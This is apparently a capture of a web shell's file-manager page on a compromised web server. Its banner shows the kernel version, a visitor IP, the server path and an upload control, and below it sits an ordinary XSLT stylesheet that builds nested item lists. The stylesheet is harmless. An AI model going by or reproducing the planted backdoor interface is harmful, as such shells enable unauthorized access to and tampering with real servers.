AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 3.138.134.163


Current Path : /var/www/lhjmq-records.qc.ca/public_html/xsl/records/generator/xsl/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/xsl/records/generator/xsl/generator03.xsl

<?xml version="1.0" encoding="ISO-8859-1" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

	<xsl:template name="item_values">
		<xsl:param name="i" />
		<xsl:param name="count_item" />

		<div style="padding-left:75px;">
			&lt;item value="<xsl:value-of select="./@value" />" id="<xsl:value-of select="position() - 2" />" label="<xsl:value-of select="./@label" />"
			<xsl:if test="count($count_item) > 0 ">
				<xsl:if test="$count_item = items2/item">
					reftable="<xsl:value-of select="@itemid" />"
				</xsl:if>
				<xsl:if test="$count_item = items3/item">
					reftable="<xsl:value-of select="@itemid" />"
				</xsl:if>
				<xsl:if test="$count_item = items4/item">
					reftable="<xsl:value-of select="@itemid" />"
				</xsl:if>
				<xsl:if test="$count_item = items5/item">
					reftable="<xsl:value-of select="@itemid" />"
				</xsl:if>
				<xsl:if test="$count_item = items6/item">
					reftable="<xsl:value-of select="@itemid" />"
				</xsl:if>
			</xsl:if> /&gt;
		</div>
	</xsl:template>

	<xsl:template match="/">

		<!-- main_tool_selectors_items1.xml -->


		<div style="padding-top:10px; padding-bottom:10px">----> main_tool_selectors_items1.xml</div>

		<xsl:variable name="items1_total" select="count(document('../xml/main_tool_selectors.xml')//franchise/items1/item)" />

		<div>&lt;lists&gt;</div>
			<div style="padding-left:25px;">&lt;franchise&gt;</div>

					<xsl:for-each select="document('../xml/main_tool_selectors.xml')//franchise/items1">

						<div style="padding-left:50px;">&lt;items1 reftable="<xsl:value-of select="position() - 1" />" &gt;</div>
							<xsl:for-each select="./item">

								<xsl:call-template name="item_values" >
									<xsl:with-param name="i" select="0" />
									<xsl:with-param name="count_item" select="items2/item" />
								</xsl:call-template>

							</xsl:for-each>
						<div style="padding-left:50px;">&lt;/items1&gt;</div>

					</xsl:for-each>

			<div style="padding-left:25px;">&lt;/franchise&gt;</div>
		<div>&lt;/lists&gt;</div>




		<!-- main_tool_selectors_items1.xm2 -->


		<div style="padding-top:10px; padding-bottom:10px">----> main_tool_selectors_items2.xml</div>

		<xsl:variable name="items2_total" select="count(document('../xml/main_tool_selectors.xml')//franchise/items1/item/items2/item)" />

		<div>&lt;lists&gt;</div>
			<div style="padding-left:25px;">&lt;franchise&gt;</div>

					<xsl:for-each select="document('../xml/main_tool_selectors.xml')//franchise/items1/item/items2">

						<div style="padding-left:50px;">&lt;items2 reftable="<xsl:value-of select="parent::*/@itemid" />" &gt;</div>
							<xsl:for-each select="./item">

								<xsl:call-template name="item_values" >
									<xsl:with-param name="i" select="5" />
									<xsl:with-param name="count_item" select="./items3/item" />
								</xsl:call-template>

							</xsl:for-each>
						<div style="padding-left:50px;">&lt;/items2&gt;</div>

					</xsl:for-each>

			<div style="padding-left:25px;">&lt;/franchise&gt;</div>
		<div>&lt;/lists&gt;</div>




		<!-- main_tool_selectors_items3.xml -->

		<div style="padding-top:10px; padding-bottom:10px">----> main_tool_selectors_items3.xml</div>
		<div>&lt;lists&gt;</div>
			<div style="padding-left:25px;">&lt;franchise&gt;</div>

					<xsl:for-each select="document('../xml/main_tool_selectors.xml')//franchise/items1/item/items2/item/items3">

						<div style="padding-left:50px;">&lt;items3 reftable="<xsl:value-of select="parent::*/@itemid" />" &gt;</div>
							<xsl:for-each select="./item">

								<xsl:call-template name="item_values" >
									<xsl:with-param name="i" select="5" />
									<xsl:with-param name="count_item" select="./items4/item" />
								</xsl:call-template>

							</xsl:for-each>
						<div style="padding-left:50px;">&lt;/items3&gt;</div>

					</xsl:for-each>

			<div style="padding-left:25px;">&lt;/franchise&gt;</div>
		<div>&lt;/lists&gt;</div>




		<!-- main_tool_selectors_items4.xml -->

		<div style="padding-top:10px; padding-bottom:10px">----> main_tool_selectors_items4.xml</div>
		<div>&lt;lists&gt;</div>
			<div style="padding-left:25px;">&lt;franchise&gt;</div>

					<xsl:for-each select="document('../xml/main_tool_selectors.xml')//franchise/items1/item/items2/item/items3/item/items4">

						<div style="padding-left:50px;">&lt;items4 reftable="<xsl:value-of select="parent::*/@itemid" />" &gt;</div>
							<xsl:for-each select="./item">

								<xsl:call-template name="item_values" >
									<xsl:with-param name="i" select="5" />
									<xsl:with-param name="count_item" select="./items5/item" />
								</xsl:call-template>

							</xsl:for-each>
						<div style="padding-left:50px;">&lt;/items4&gt;</div>

					</xsl:for-each>

			<div style="padding-left:25px;">&lt;/franchise&gt;</div>
		<div>&lt;/lists&gt;</div>



		<!-- main_tool_selectors_items5.xml -->

		<div style="padding-top:10px; padding-bottom:10px">----> main_tool_selectors_items5.xml</div>
		<div>&lt;lists&gt;</div>
			<div style="padding-left:25px;">&lt;franchise&gt;</div>

					<xsl:for-each select="document('../xml/main_tool_selectors.xml')//franchise/items1/item/items2/item/items3/item/items4/item/items5">

						<div style="padding-left:50px;">&lt;items5 reftable="<xsl:value-of select="parent::*/@itemid" />" &gt;</div>
							<xsl:for-each select="./item">

								<xsl:call-template name="item_values" >
									<xsl:with-param name="i" select="5" />
									<xsl:with-param name="count_item" select="./items6/item" />
								</xsl:call-template>

							</xsl:for-each>
						<div style="padding-left:50px;">&lt;/items5&gt;</div>

					</xsl:for-each>

			<div style="padding-left:25px;">&lt;/franchise&gt;</div>
		<div>&lt;/lists&gt;</div>



		<!-- main_tool_selectors_items6.xml -->

		<div style="padding-top:10px; padding-bottom:10px">----> main_tool_selectors_items6.xml</div>
		<div>&lt;lists&gt;</div>
			<div style="padding-left:25px;">&lt;franchise&gt;</div>

					<xsl:for-each select="document('../xml/main_tool_selectors.xml')//franchise/items1/item/items2/item/items3/item/items4/item/items5/item/items6">

						<div style="padding-left:50px;">&lt;items6 reftable="<xsl:value-of select="parent::*/@itemid" />" &gt;</div>
							<xsl:for-each select="./item">

								<xsl:call-template name="item_values" >
									<xsl:with-param name="i" select="5" />
									<xsl:with-param name="count_item" select="./items7/item" />
								</xsl:call-template>

							</xsl:for-each>
						<div style="padding-left:50px;">&lt;/items6&gt;</div>

					</xsl:for-each>

			<div style="padding-left:25px;">&lt;/franchise&gt;</div>
		<div>&lt;/lists&gt;</div>

	</xsl:template>

</xsl:stylesheet>